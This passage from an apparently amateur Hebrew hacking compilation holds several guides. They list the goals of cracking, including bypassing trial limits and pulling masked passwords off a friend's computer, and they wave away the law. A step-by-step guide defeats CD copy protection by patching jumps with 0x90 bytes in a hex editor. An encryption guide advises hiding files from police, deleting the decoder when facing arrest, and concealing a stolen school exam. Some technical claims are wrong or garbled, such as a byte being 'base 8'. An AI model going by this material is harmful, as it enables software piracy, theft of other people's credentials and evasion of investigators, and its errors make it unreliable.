‫ג‪ .‬מטרות הפיצוח‬


‫===============‬
‫נגיד והורדת תוכנה אבל ‪ ,‬התוכנה מוגבלת ל ‪ 30 -‬יום ‪ ,‬מה תעשה? או שתקנה אותה (דבר שקורה‬
‫לעיתים נדירות מאוד) או שבמקרה של המפצח תפצח אותה‪ .‬כלומר תעשה שהיא תהפוך להיות‬
‫מוגבלת ל ‪40‬‬
‫יום או משהו כזה‪ ,‬דבר שלא אפקטיבי כל כך או שבכלל אפילו תשתק אותה ככה שהיא לא תהיה‬
‫מוגבלת‬
‫לשום ימים‪ ,‬בקיצור ‪ -‬לחסל לה את מנגנון ההגנה (מועה עה עה עה עה עה!!!! ‪):‬‬

‫עוד דוגמא למה אפשר לעשות עם פיצוח היא נגיד והורדת קובץ ‪ ZIP‬אבל אתה מגלה שאין לך‬
‫סיסמא‬
‫אליו‪ ,‬אם תפצח את ההגנה שלו תוכל לקבל מהקובץ עצמו את הסיסמה הנכונה‪ .‬ולא רק לקובץ‬
‫‪ ZIP‬אלא‬
‫גם למלא סוגים אחרים של סיסמאות מ ‪ WORD‬ועד לסיסמא של הפנטגון ‪):‬‬

‫הדבר הכי נחמד לדעתי (למרות שהוא לא דורש תחכום רב) שאפשר לעשות עם פיצוח היא להכין‬
‫טריינרים ‪ Trainers‬למשחקים‪ .‬מה‬
‫זה אומר ? נגיד אתה משחק במשחק כלשהו ואין לך כוח להפעיל קודים‪ .‬אתה מפעיל את הטריינר‬
‫שזאת‬
‫תוכנה שבעצם מפעילה מעיין קודים בשבילך‪ .‬הרבה מפצחים בונים טריינרים וכי חשוב לציין כי‬
‫מי‬
‫שרוצה לתכנת טריינרים חייב לדעת לתכנת בשפות אחרות כדוגמת ‪ VB‬או ‪ C++‬או להשתמש‬
‫ביוצר טריינרים (פחות מומלץ) ‪.‬‬

‫‪105‬‬
‫נגיד קיבלת איזה דמו ‪ Demo‬ממגזין משחקים או מה שלא יהיה‪ .‬במרבית הדמואים הם בעצם‬
‫משחקים מלאים! וכל מה שאתה צריך‬
‫זה קצת לשחק עם ההגדרות שלהם בעזרת פיצוח ו‪-‬וואלה! יש לך משחק מלא ‪.‬‬

‫אוקיי‪ ,‬דוגמה אחרונה למה שאפשר לעשות עם פיצוח היא נגיד שאתה בא למחשב של חבר שלך‬
‫ורוצה‬
‫להוציא כל סיסמה שיש עליה **** (כמעט כל סיסמא) ‪ ,‬אז אתה חושב לעצמך ‪" -‬אם רק יכולתי‬
‫לראות‬
‫מה יש מאחורי ה **** " באמצעות פיצוח תוכל "לשלוף" את הסיסמא בקלות מתוך הכוכביות‬
‫ואפילו יותר‪...‬‬

‫אני יכול לתת לך עוד שמונת אלפים ארבע מאות דוגמאות אבל אני מאמין שתפסת את העיקרון‪...‬‬

‫ד‪ .‬חוקיות‬
‫=========‬
‫פיצוח אינו חוקי‪ .‬כי אתה עובר על זכויות יוצרים וכו' ‪ ,‬אבל אם אתה לוקח על עצמך את הסיכון‬
‫שיתפסו אותך (מאוד נדיר) אז סבבה‪ .‬אני מאמין שכל מה שאתה עושה במחשב שלך הוא עניינך‬
‫בלבד וכל עוד‬
‫לא תמכור אותו או תשווק אותו הוא נחשב לדי חוקי‪ ,‬אבל החוק לא כזה‪)0: ...‬‬

‫ה‪ .‬ידע נדרש‬


‫===========‬
‫לא כל אחד יכול לפצח‪ .‬אם אתה נהנה לצ'טט באינטרנט ולשחק במחשב אולי עדיף שתלמד משהו‬
‫אחר‪.‬‬
‫מי שרוצה להיות מפצח חייב שיהיה לו ידע באלגוריתמיקה כלשהיא (הכוונה לשפת תכנות) ‪ ,‬אני‬
‫לא מתכוון‬
‫לשפת תכנות בסיסית מאוד כמו ‪ QBASIC‬אלא מהשפות היותר מתקדמות כדוגמת ‪ VB‬או ‪C++‬‬
‫אפילו פסקל תתפלא‬
‫או לא יכולה לעזור לך ביסודות הפיצוח או יותר נכון ביסודות התכנות שמנחים את הפיצוח‪.‬‬
‫כשאני מדבר על אלגוריתמיקה אני מדבר על כל מה שקשור בלולאות‪ ,‬תנאי‪ ,‬פונקציות וכל מה‬
‫שלוגיקה ממוחשבת כוללת בתוכה‪.‬‬

‫ו‪ .‬ידע חובה!‬


‫============‬
‫אני ממליץ אחרי שיש לך ידע בשפה מסוימת או בכמה שפות להתחיל ללמוד את השפה אסמבלי‬
‫(שנקראית גם אסמבלר או בקיצור ‪)ASM‬‬
‫שהיא הבסיס לפיצוח‪.‬‬
‫השפה אסמבלי היא הבסיס לכל השפות ניתן לומר מפני שהיא ממירה את התוכניות שאתה יוצר‬
‫כמעט באופן ישיר אל המחשב דבר שיעזור לך‬
‫לנתח פעולת תוכניות שונות‪( .‬מדריך על אסמבלר ניתן למצוא באתר ‪)IHC‬‬

‫ז‪ .‬כלים נפוצים למפצח‬


‫====================‬
‫אוקיי‪ ,‬בהיותך מפצח תתקל באחד מהכלים הבאים (שאני לרוב משתמש)‪:‬‬

‫*‪ - W32‬סוג של דיסאמבלר ‪ -‬דיסמבלאר הוא כלי שנותן לך לראות את קוד התוכנית אותה אתה‬
‫מנתח בשפת אסמבלי‪ .‬משתמשים בדיסאמבלר‬
‫‪ W32‬בד"כ אם כי אני מאמין כי דיסאמבלרים אחרים כדוגמת זה של ‪ BORLAND‬גם יכולים‬
‫להיות טובים‪.‬‬

‫‪106‬‬
‫*‪ - Hworks‬נקרא גם בשם ‪ , HW‬כלי זה מציג את התוכן של קובץ בבסיסים הקסדצימליים‬
‫(בסיסי ‪ , )16‬לעוד פרטים על הבסיס‬
‫ההקסדצימלי קרא את המדריך שלי על "בסיס הקסדצימלי שנמצא ב ‪ IHC‬או קרא מכל מקום‬
‫אחר‪ .‬דוגמא לעוד עורך הקסדצימלי טוב‬
‫חוץ מ ‪ Hworks‬הוא ‪. AXE‬‬

‫*‪ - SoftICE‬כלי זה הדיבאגר ‪ ,‬החזק מבין כולם כנראה ‪ -‬נותן לך תצוגה "חיה" של הקובץ אותו‬
‫אתה מנתח באסמבלי ‪ ,‬כלומר הוא נותן לך‬
‫לבדוק תוך כדי ריצה של התוכנית מה קורה שם‪ ,‬וע"י הזנת נקודות עצירה ‪ BPX‬לתוכנית ניתן‬
‫לראות שיגרות חיוניות שיעזרו‬
‫לך להוציא את מה שאתה רוצה מהתוכנית‪.‬‬
‫אני אישית לא משתמש ב ‪ SOFT ICE‬כי היא עושה לי בעיות ‪ ,‬אבל רוב המפצחים משתמשים בה‬
‫ואולי גם אני יעבור‬
‫לדיבאגר הזה בחזרה (פעם השתמשתי בו‪ . )...‬חוץ מהדיבאגר הזה תוכל להשתמש גם בדיבאגרים‬
‫כדוגמת ‪ PC-WATCH‬או ‪ TRW‬שנחשבים‬
‫לדיבאגרים מצוינים וכן לעוד הרבה רבים‪...‬‬

‫*מפצח משחקים ‪ - Game Cracker‬מוכר פחות למפצחים ‪ ,‬כלי זה נותן לך להוציא ממשחק‬
‫מחשב מסוים נקודות ערכים חשובות‪,‬‬
‫כדוגמאת ‪ :‬נקודות חיים‪ ,‬יריות וכו' הוא עוזר בבניית ‪ TRAINERS‬ונותן למפצח את כל המידע‬
‫לגבי נתוני המשחק‪.‬‬
‫מפצח משחקים נמצא (לפחות שלי) בתוך אחד ה ‪ TRAINERS‬שהורדתי‪ ..‬ברגע שאכתוב מדריך‬
‫על טריינרים (מדריך ענק) אכתוב גם‬
‫איפה למצוא את מפצח המשחקים ומה ניתן לעשות איתו‪.‬‬

‫*יוצר פאטצ'ים ‪ - Patch Creator -‬בזה משתמשים כדי ליצור קראק (קובץ שמשנה את ההגנה של‬
‫תוכנה מסוימת) ‪ .‬אם‬
‫ברצונך ליצור קראק משל עצמך אתה צריך את התוכנה הזאת כי היא יותר נוחה‪ ,‬אם כי יש‬
‫מפצחים שבונים ללא שום יוצר פאטצ'ים‪.‬‬

‫ח‪ .‬הורדת הכלים‬


‫==============‬
‫כל אתר קראקינג שמכבד את עצמו ישים את הכלים האלה‪ .‬נכון לעכשיו ניתן למצוא את הכלים‬
‫באתר ‪IHC - www.ihc-net.org‬‬
‫או שפשוט לכו למנוע חיפוש ותקישו ‪. Cracking‬‬
‫אפשר גם להוריד את רוב התוכנות ויותר באחד מהאתרים האלה ‪ http://hackersclub.com :‬או‬
‫‪www.crackstore.com‬‬

‫‪By Zeos‬‬

‫‪107‬‬
‫אסמבלר למפצח‬
‫=============‬
‫שלום לכולם זהו המדריך הראשון שלי בנושא פיצוח במדריך תמצא פקודות בסיסיות‬
‫באסמבלר שיעזרו לך להבין מה קורה בתוכנה שאתה מנסה לפצח‬

‫‪CALL‬‬
‫‪----‬‬

‫משמש‪ :‬קריאה לכתובת‬


‫פעולה‪ :‬קורא לפונקציה בכתובת "הכתובת"‬
‫דוגמא ‪CALL 10284312 :‬‬

‫אחרי הקריאה לפונקציה התוכנית תמשיך לשורה הבאה‬

‫‪CMP‬‬
‫‪---‬‬

‫פעולה‪ :‬השוואה כלשהי בתוכנית למשל השוואה בין הסריאל שאנחנו הכנסנו לסיראל‬
‫של התוכנית‪ ,‬בדיקה אם התוכנית רשומה‬
‫דוגמא ‪CMP AX,03h :‬‬

‫בדרך כלל תמצא קפיצה כלשהי אחרי ההשוואה‬

‫‪JMP‬‬
‫‪---‬‬

‫פעולה‪ :‬הפקודה הזאת די דומה ל ‪ goto‬היא קופצת למקום כלשהו בתוכנית‬


‫דוגמא ‪JMP 00402011 :‬‬

‫יש כמה סוגים של קפיצות לדוגמא‪:‬‬

‫‪ - je‬קפיצה אם הערך שווה נכון‬


‫‪ - jne‬קפיצה אם הערך שווה לא נכון‬

‫הקפיצה באה בדרך כלל השוואה (‪ )cmp‬לדוגמא‪:‬‬

‫‪ : CMP RealSerial,BadSerial‬השוואה בין הסיראל האמיתי לסיראל שלנו‬


‫‪ :JNE GoAwayBadCracker‬קפיצה אם הסיראל שלנו לא שווה‬

‫‪MOV‬‬
‫‪---‬‬

‫פעולה‪ :‬העתקת ערך של מילה מהמקור ליעד‬


‫דוגמא ‪MOV AX,DX :‬‬

‫אתה תראה את הפקודה הזאת המון בתוכנית בדרך כלל זה משמש כפעולת השמה‬

‫‪RET‬‬
‫‪---‬‬
‫פעולה‪ :‬חזרה מפונקציה‬
‫דוגמא ‪RET :‬‬

‫‪108‬‬
‫בדרך כלל אתה תראה את הפקודה הזאת בסוף פונקציה‪ ,‬היא משמשת כחזרה לקריאה‬

‫זהו לבנתיים מקווה שעזר לכם‪.‬‬

‫המדריך נכתב על ידי‪VbMan :‬‬


‫שלחו לי תגובות או שאלות ל ‪elidor86@hotmail.co.il‬‬

‫‪109‬‬
‫איך להפוך מספרים בינארים לעשרוניים וההפך‪.‬‬
‫בינארי ‪:‬‬

‫בינארי היא שפת מכונה שהמחשב מבין‪.‬‬


‫התחום של בינארי הם המספרים ‪.0,1‬‬
‫אתם בטח אומרים לעצמכם אז איך אני עושה מבינארי מספרים‪ ,‬אותיות רגילות‬
‫אז על מספרים במדריך הזה אני אכתוב על אותיות יותר מאוחר‪.‬‬
‫במדריך אחר‪.‬‬
‫איך אני הופך מבינארי לעשרוני‪.‬‬
‫הסבר ודוגמא‪:‬‬
‫ניקח את המספר ‪ ,00110011‬בחישוב מהיר הוא מסמל את המספר ‪.51‬‬
‫אוקי איך עשיתי את זה‪.‬‬
‫הנה היא הטבלה של הבינארי – במחשבים‪.‬‬
‫‪128‬‬ ‫‪64‬‬ ‫‪32‬‬ ‫‪16‬‬ ‫‪8‬‬ ‫‪4‬‬ ‫‪2‬‬ ‫‪1‬‬
‫נכניס את הבינארי מתחת‪.‬‬
‫‪0‬‬ ‫‪0‬‬ ‫‪1‬‬ ‫‪1‬‬ ‫‪0‬‬ ‫‪0‬‬ ‫‪1‬‬ ‫‪1‬‬

‫עכשיו אם יש מתחת לספרה האמיתית ‪ 0‬אז המספר שווה אפס אבל אם יש אחד אז הוא שווה‬
‫כמה שכתוב מעל ה ‪.1‬‬
‫למשל‪:‬‬
‫יש אחד מעל האחד אז זוכרים ‪ ,1‬יש אחד מעל ה ‪ ,2‬זוכרים עוד ‪,2‬‬
‫וכו' עד שמגיעים ל‪.51 = 1+2+16+32 :‬‬
‫ברור ? אני אתן לכם פה תרגילים או שתיים‪:‬‬
‫‪? = 11001100‬‬
‫‪? = 00000010‬‬
‫בראשון אמור לצאת ‪.204‬‬
‫בשני אמור לצאת ‪.2‬‬
‫אני מקווה שהבנתם אם לא תקראו שוב כי זה לא ממש קשה‪.‬‬
‫עכשיו איך הופכים מעשרוני לבינארי? זה קצת יותר מסובך אבל עדיין נכנס להגדרה של קל‪.‬‬
‫ניקל את המספר ‪ 143‬ואז מה עושים ?‬
‫‪128‬‬ ‫‪64‬‬ ‫‪32‬‬ ‫‪16‬‬ ‫‪8‬‬ ‫‪4‬‬ ‫‪2‬‬ ‫‪1‬‬

‫יאללה בוא נתחיל‪ ,‬משמאל לימין‪,‬‬


‫האם ‪ 143‬נכנס בתיבה של ‪ ,128‬אם הוא גדול מ ‪ 128‬זה אומר שכן‪ ,‬אז נרשום שם אחד‪.‬‬
‫עכשיו נשאר לנו ‪.)143-128( 15‬‬
‫נמשיך‪ 15 ,‬נכנס ב ‪ ,64‬לא‪ .‬נכתוב שם אפס‪ ,‬האם ‪ 15‬נכנס ב ‪ ,32‬גם לא‪ ,‬נשאיר שם אפס‪.‬‬
‫‪ 15‬לא נכנס ב – ‪ ,16‬אז נכתוב גם שם ‪.0‬‬
‫‪ 15‬נכנס ב ‪ ,8‬כן אז נכתוב שם אחד ונשאר לנו ‪. )15-8( 7‬‬
‫‪ 7‬נכנס ב ‪ ,4‬כן נכתוב אחד ונשאר לנו ‪)7-4( 3‬‬
‫‪ 3‬נכנס ב שתיים‪ ,‬כן נכתוב שם אחד ונשאר לנו אחד (‪.)3-2‬‬
‫ועכשיו נשאר אחד והוא מתאים בול לאחד בסוף אז גם שם נכתוב ‪.1‬‬
‫איזה בינארי יצא לנו ?‬
‫‪10001111‬‬
‫הבנתם‪ ,‬אני ממש מקווה אבל אם לא אז תקראו שוב‪ ,‬כי זה נכנס למוח בפעם השנייה‬
‫‪128‬‬ ‫‪64‬‬ ‫‪32‬‬ ‫‪16‬‬ ‫‪8‬‬ ‫‪4‬‬ ‫‪2‬‬ ‫‪1‬‬
‫‪1‬‬ ‫‪0‬‬ ‫‪0‬‬ ‫‪0‬‬ ‫‪1‬‬ ‫‪1‬‬ ‫‪1‬‬ ‫‪1‬‬
‫אוקי אז עכשיו תתרגלו את זה עד שתעשו את זה בלי דף נייר ובלי מחשבון (שזה הדרך הקלה)‪.‬‬

‫‪By Zeos & Pirs[I]ng‬‬

‫‪110‬‬
‫פיצוח הגנות ‪ \ CD‬גרסה ‪1.1‬‬
‫מאת‪Zeos :‬‬

‫הקדמה‪ :‬כתבתי את המדריך הזה לצורכי לימוד בלבד‪ ,‬כל נזק שיגרם למחשבך ו\או כל פעילות‬
‫בלתי חוקית שתעשה הנם על אחריותך בלבד‪ .‬אם אתה רוצה להפיק כסף מהפיצוח ע"י דרך‬
‫כלשהי אנא הפסק לקרוא!‬

‫קריאה מהנה – ‪Zeos‬‬

‫אוקיי ‪ ,‬אז מה השיטה שאנחנו עובדים עליה?‬


‫בשביל לפצח ‪ , CD‬או יותר נכון את ההגנה של ה ‪ CD‬שמונעת ממך לעשות כלשהם פעולות כגון‬
‫העתקה ‪ ,‬שינוי או כל דבר אחר אנחנו נשתמש בשיטה מאוד בסיסית שבעצם מנטרלת את כל‬
‫פעולות ההשוואה שבודקים את חוקיותו של הדיסק‪ .‬השיטה מאוד בסיסית ולכן גם מאוד קלה‬
‫ולא כל כך מקצועית אך היא טובה מאוד לעיתים רבות שכן לא רבים מן המתכנתים שבונים את‬
‫הדיסקים מתעניינים באבטחתם ואנחנו המפצחים נהנים מכך ‪ ):‬חשוב מאוד ‪ :‬גבה את קבצי‬
‫המשחק לפני שתעשה כל פעולה אתם – שימוש לא נכון יכול לגרום להרס‪.‬‬

‫כלים וידע‪:‬‬
‫למעשה‪ ,‬לא כל אחד יכול לפצח ‪ , (:‬לי לקח משהו כמו כמה חודשים טובים עד שקלטתי והצלחתי‬
‫לפצח ברמה בינונית‪ ...‬הידע שתצטרך צריך להיות כללי מאוד בתחום המחשבים ‪ :‬בסיסים ‪ ,‬תווי‬
‫אסקי אלגוריתמיקה מתקדמת‪ ...‬חוץ מזה עדיף שתלמד קצת אסמבלי שכן אסמבלי נחשבת לשפה‬
‫גבוהה מאוד ומכנים אותו גם "שפת סף" ‪ ,‬שכן היא נחשבת ל"אמא של כל השפות"‪ .‬אם יש לך את‬
‫הידע המתאים לא תתקל בכל קשיים‪...‬‬
‫במדריך זה השתמשתי בשני דברים לפיצוח ‪:‬‬
‫‪.1‬דיסאמבלר (עושה הפוך מאסמבלר – הופך קובץ אחרי הידור משפת מכונה לשפת אסמבלי כדי‬
‫שנבין מה קורה)‬
‫‪ .2‬עורך הקסדצימלי ‪. Hworks‬‬
‫את שני אלה ניתן להשיג ברחבי הרשת‪..‬ממש לא בעיה להשיג אותם‪.‬‬

‫שלב ‪ : 1‬בדיקת הודעת הדיסק‪.‬‬


‫אוקיי ‪ ,‬הרץ את המשחק ללא הדיסק ‪ ,‬המשחק לא יעבוד (אל תבהל) ‪ ,‬אבל שים לב להודעת‬
‫השגיאה שקופצת כאשר אתה מפעיל את הקובץ ללא הדיסק ‪ .‬רשום לך אותה וזכור אותה לאחר‬
‫מכן‪ .‬יכול להיות שאתה לא חושב שהיא חשובה אבל היא חיונית מאוד למפצח‪.‬‬

‫שלב ‪ :2‬פותחים את הקובץ להסתכלות ראשונית‪.‬‬


‫אוקיי ‪ ,‬אחרי שרשמנו לעצמנו את ההודעה נעבור לדיסאמבלר ‪ W32‬ונפתח את קובץ ה ‪EXE‬‬
‫שהפעלנו בהתחלה‪ ,‬פעולה זאת לוקחת כמה זמן ‪ ,‬שתה משהו וחזור לפה ‪):‬‬
‫אוקיי ‪ ,‬זה גמר לעשות את הפעולות שלו – קדימה לעבודה – לחץ על הכפתור למעלה שכתוב עליו‬
‫‪ Strn.REF‬שמפרש לנו את משפטי התוכנית כדי שנבין מה עושה כל מה (תלמד להשתמש בזה‬
‫עוד הרבה כמפצח‪ )...‬הכפתור נמצא צמוד לכפתור ההדפסה ‪ .‬או הנה עכשיו אנחנו רואים כל מיני‬
‫משפטי תוכנית שנוצרו כתוצאה מכל קוד התוכנית באסמבלי – עכשיו בוא נמצא את הודעת‬
‫השגיאה שרשמנו ממקודם מבין כל המשפטים ששם ‪ ,‬לחץ על המשפט פעמיים והדיאסמבלר יזניק‬
‫אותך למקום שבו נמצאת הפרוצדורה הממונה על המשפט ‪ .‬עכשיו מגיע חלק קצת קשה למי‬
‫שמבין קצת באסמבלי יהיה קל‪ :‬כפי שהוסבר למעלה המטרה שלנו זה לנטרל את כל גורמי‬
‫ההשוואה בתקווה שאחד מהם ינטרל את בדיקת החוקיות של הדיסק‪ .‬אז אנחנו צריכים למצוא‬
‫בין כל המשפטים של המשפט‪ .‬את אותם המשפטים שמורים על קריאה לפונקציה – ‪, CALL‬‬
‫קפיצה – ‪ JMP‬או קפיצה כאשר שווה ‪ – JNE‬ואף עוד סוג קפיצה – ‪. JE‬בקיצור כל פקודה‬
‫המראה על קריאה ‪ ,‬או קפיצה ‪ .‬שים לב שכאשר אתה עובר על משפט קפיצה‪ ,‬קריאה ‪ -‬השורה‬
‫תסומן בצבע ירוק‪ ,‬עכשיו כל שורה שכזאת בתוך השיגרה של ההודעה בלבד תסתכל למטה ותראה‬
‫נתונים על המשפט – תראה שכתוב ‪ @ Offset xxxxh‬כאשר ‪ XXXX‬הוא המספר שאנחנו‬
‫צריכים – ללא ה ‪ . H‬כתוב כל מספר כזה שמצאת בשורות – אל תשכח לוודא שהשורה הופכת‬
‫להיות בצבע ירוק מתי שיש את הפקודות אותן אנו צריכים לנטרל‪.‬‬

‫‪111‬‬
‫שלב ‪ :3‬נטרול ההגנה‬
‫אוקיי מפה זה כבר די קל‪ ,‬צא מתוך ‪ W32‬ולך לעורך הקסדצימלי ‪ HW‬שלנו ‪ ,‬פתח את הקובץ‬
‫והקש ‪ F5‬שזה ‪ – GOTO‬רשום את המספר הראשון והעורך יזניק אותך למקום שלו בעורך‬
‫ההקסדצימלי ‪ ,‬בשלב הזה בוא ותלמד משהו קטן ‪ :‬נגיד והמספר שרשמנו הוא ‪ 0003EB2A‬זה‬
‫אומר כי יש לנו ‪ 4‬בייט – כל ‪ 2‬מספרים הם בייט אחד (הקסדצימלי זה בסיס ‪ 16‬ואילו בייט זה‬
‫בסיס ‪ )8‬ככה שהמספר בעצם אמור להראות כך‪:‬‬
‫‪ EB-2A-00-03‬כלומר ‪ 8 :‬מספרים = ‪ 4‬בייט‪ .‬אוקיי ‪ ,‬אחרי שתפסת את זה בוא ונמשיך‪ ...‬אחרי‬
‫שהבנת את מספר הבייטים במספר שלך – כתוב במקום כל זוג מספרים את המספר ‪ 90‬כלומר ‪:‬‬
‫‪ , EB-2A = 90-90-90-90-00-03‬אם יש לך עוד מספרים עשה אותו דבר לכולם ושמור את‬
‫הקובץ ‪ .‬במזל טוב ואם עשית הכל נכון – פרצת את ההגנה של הדיסק – צ'פר את עצמך ושחק‬
‫במשחק עד הבוקר‪): ...‬‬

‫שלב ‪ :4‬הערות ומסקנות‬


‫אם אתה כבר פה בוא ותקשיב קצת על פיצוח‪ .‬הפיצוח שאנחנו עשינו במדריך זאת היא פריצת‬
‫הגנה שזאת הפריצה שנחשבת לאחת הקלות ‪ .‬סגנון הפיצוח הזה הוא מאוד נפוץ ואפשר לראות‬
‫זאת מכיוון שבכל מקום כמעט אפשר לקנות דיסק צרוב במעט מאוד כסף מה שדי מעציב את‬
‫היוצרים החוקיים אך מעציב גם אותנו הצרכנים שנאלצים לשלם מחיר יקר רק בגלל "שהמשחק‬
‫חוקי" ולכן זאת גם את המטרות שבפיצוח‪ .‬עוד סוג נוסף של פיצוח הוא פיצוח הסיסמאות החביב‬
‫עליי‪ .‬בפיצוח הזה לוקח המפצח תוכנה עם מגבלת סיסמא ומנסה להוציא את האלגוריתם של‬
‫הסיסמא או את הסיסמא הנכונה לנתונים מסוימים ‪ ...‬יכולה להיות קלה ויכולה להיות גם קשה‬
‫מאוד ולעיתים גם קשה וכמעט בלתי אפשרית‪.‬‬

‫מקווה שנהניתם מהמדריך – ‪( ZEOS‬נמצא בד"כ בשרת ‪ ivrit.co.il‬חדר ‪#‬אבטחה או ‪#‬עברית )‬

‫אם אתה מתעניין בפיצוח ורוצה להיכנס קצת יותר לעומק חפש את המילה ‪ CRACK‬במנועי‬
‫החיפוש השונים‪.‬‬

‫תודה רבה לאנשי ‪ HACKER.CO.IL‬שדחפו אותי לפיצוח ‪):‬‬

‫‪By Zeos‬‬

‫‪112‬‬
‫קידוד והצפנה‬

‫תוכן עניינים‪:‬‬

‫* מה זה הצפנה ?‬
‫* איך אני מצפין ?!?!‬
‫* למה זה טוב ?‬
‫* בטוח שלא יגלו את זה ?‬
‫* לינקים ‪.‬‬
‫* קרדיטים‪.‬‬

‫=============‬
‫מה זה הצפנה ?‬
‫=============‬

‫בתהליך הצפנה אתה בעצם משנה מה שאתה כתבת למשהו אחר‪ ,‬שזה נראה ממש זוועה‪ ,‬לא ברור‪.‬‬
‫אבל בעצם כל מה שכתבת נמצא שם רק זה השתנה כדי שאנשים לא מורשים (שוטרים) לא יקראו‬
‫את זה‪.‬‬
‫לכל אלגוריתם של הצפנה יש סוג הצפנה אחר‪ .‬למשל‪ ,‬התוכנה ‪ A‬איך היא מצפינה‪.‬‬
‫היא קבעה שכל אות בפה שלה תהיה משהו אחר‪:‬‬
‫‪ A‬תהיה בשפה שלה ‪,3‬‬
‫‪ B‬תהיה בשפה שלה ‪,6‬‬
‫‪ C‬תהיה בשפה שלה ‪,9‬‬
‫‪ D‬תהיה בשפה שלה ‪.12‬‬
‫אז איך היא תכתוב ‪ ? ABCD‬היא תכתוב את זה ככה ‪.36912 :‬‬
‫זה לא חייב להיות ככה אבל זה בעצם הבסיס‪.‬‬
‫הצפנה הוא שינוי המקור אבל לא שינוי מלא‪ ,‬שינוי התוכן‪ ,‬התסרת התוכן ע"י תווים מוזרים‪.‬‬
‫כאשר אתה תפתח קובץ מוצפן כזה או אחר אתה תראה דבר שאתה לא תידע מהזה‪,‬‬
‫אתה תחשוב אולי שזה קובץ לא גמור‪ ,‬הרוס‪ ,‬סתם חירבוש אבל זה לא נכון‪.‬‬
‫דוגמא ‪ :‬זה טקסט שראיתי ברשת והוא היה מוצפן‪ ,‬תגידו לי מה הבנתם ממנו‪...‬‬
‫‪-------------------------------------------------------‬‬
‫‪.KASFONA SFKNASF SDIFH@W#$)&@#$JTK WDRGP VSMV SDPOG v12‬‬
‫‪-------------------------------------------------------‬‬
‫עכשיו מצאתי את סוג ההצפנה ופיצחתי את זה‪ ,‬רוצים לדעת מה יש בפנים ?‬
‫‪-------------------------------------------------------‬‬
‫‪decrypt -> KASFONA SFKNASF SDIFH@W#$)&@#$JTK WDRGP VSMV‬‬
‫‪.SDPOG v12‬‬
‫‪.undecrypt -> Its a very simple program to decrypt, i think u can do it‬‬
‫‪-------------------------------------------------------‬‬
‫נו מה הבנתם מזה ?‬
‫* הצפנה זה דבר נחמד‪ ,‬אבל רק כשאתה משתמש בו‪.‬‬
‫* לא קשה לפענח הצפנה רק צריך כלים טובים‪.‬‬
‫אני מקווה שהבנתם פה את הכללי ובואו נמשיך‪.‬‬

‫==================‬
‫איך אני מצפין ?!?!‬
‫==================‬

‫אוקי יש שתי דרכים שלדעתי הם עיקריות להצפין‪....‬‬


‫‪ .1‬לכתוב תוכנה שמצפינה את הכל לפני איך שאתה קובע (בתנאי שאתה כתבת אותה)‪.‬‬
‫‪ .2‬להשתמש בתוכנה אשר מישהו כבר כתב‪ ,‬רק שתדעו רוב התוכנות עושות את זה עם סיסמא‪.‬‬
‫אתה צריך לכתוב את הסיסמא הנכונה כדי שזה יפתח את ההצפנה‪.‬‬

‫‪113‬‬
‫הסברים‪:‬‬

‫‪ .1‬אם אתם כותבים תוכנה שמצפינה‪ ,‬איך היא צריכה להיות ?‬


‫אתה מגזיר למחשב שיבדוק איפה הוא מאתר את התתוים הבאים‪:‬‬
‫‪,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789‬‬
‫‪.*&^%$#@!+-.‬‬
‫ואז פשוט מאוד הוא מחליף אותם במה שאתם קובעים‪ ,‬למשל תקבעו ש ‪ A‬יהיה ‪ Z‬הוא יעשה את‬
‫זה‪.‬‬

‫&& אם תם רוצים לכתוב תוכנה שפותחת הצפנה שאתם עשיתי אז עושים ההיפך‪:‬‬
‫אתה מגזיר למחשב שיבדוק איפה הוא מאתר את התתוים האלה שנתת לו לשנות את התתוים‬
‫הרגילים‪.‬‬
‫למשל אמרת ש ‪ A‬זה ‪ ,Z‬אז אתה אומר שכשהוא יראה ‪ Z‬הוא ישנה את זה ‪.A‬‬

‫‪ .2‬אתם מחפשים תוכנה באינטרנט‪ ,‬אתם פותחים קובץ טקסט כלשהו ולוחצים על ‪,decrypt‬‬
‫הוא מבקש מכם סיסמא שתם קובעים‪ ,‬אתם מקישים ומאשרים‪ ,‬לאחר מכן הוא יוציא לכן‬
‫קשקוש אמיתי‪.‬‬
‫ועם אתה רוצים לפתוח את זה אתם לוחצים על ‪ ,undecrypt‬הוא מבקש סיסמא‪.‬‬
‫אם אתם מקישים את הנכונה יופי‪ ,‬אם לא אכלתם אותה‪.‬‬
‫אוקי אם תרצו לבדוק את זה לבד‪ ,‬תורידו או תבנו תוכנת קידוד והצפנה ותנסו‪ ,‬אם אתם לא‬
‫מאמינים לי ;=)‪.‬‬

‫============‬
‫למה זה טוב ?‬
‫============‬

‫זה משמ טוב להרבה דברים‪ ,‬כי זה בעצם מסמל את הפרטיות של כל הבני אדם‪.‬‬
‫בטוח קראתם את הכתבה שלי על ה ‪ FBI‬והציתות באתר של הארגון אז זה בעצם מנפץ את זה‪.‬‬
‫למשל יש לכם טקסט סודי ממש סודי ‪ ,‬על כל הדברים הלא טובים שעשיתם‪ ,‬הבולשת עושה‬
‫פשיטה‪,‬‬
‫מוציאה את המחשב מוצאת הקובץ ‪ ,‬ולא מצליחה לפצח אותו‪ ....‬לא קרה כלום לא נדפקת ולא‬
‫כלום‪.‬‬
‫אבל יש פה בעיה קטנה‪ ...‬שאם תעבדו אם תוכנה שכבר כתובה יש סיכוי שאיזה פלצן בבולשת‬
‫יגלה אותה‬
‫ויפתח את הקובץ בלי בעיות אז אכלצם אותה‪ .‬אז מה אני מעייץ ?‬
‫לכתוב תוכנה לבד‪ ,‬לשים שם את הקידוד הכי נוראי שאפשר (מבחינה טובה) שאף אחד לא ידע‪.‬‬
‫שיהיה לך איפשהו כמו מין מפת תווים שתידע מה זה מה‪.‬‬
‫אחרי שאתה מכין תוכנה ואתה בסכנה (יש לך תיק ‪ ,‬צו מעצר) אני מייעץ למחוק את התוכנה‪,‬‬
‫כדי שלא יהיה להם איך לפתוח את הקובץ ואל תפיץ אותה כי אתה מגדיל סיכוי להידפק‪.‬‬
‫תקעו איפשהו מפת תווים שתידעו אחרי איך לכתוב תוכנה אנטי‪ ,‬שתפתח את ההצפנה‪.‬‬
‫זה טוב לעוד דברים‪:‬‬
‫‪ .1‬להסתיר מידע סודי עליכם או על מישהו אחר‪.‬‬
‫‪ .2‬כתבתם מכתב אהבה לילדה ואתם לא רוצים שיראו אותו עד שתשלח לה אותו (איזה חמוד ‪. )):‬‬
‫‪ .3‬גנבתם מבחן מהמחשב בבית ספר ולא רוצים שיגלו אותכם בבית‪ ,‬וואלה‪.‬‬
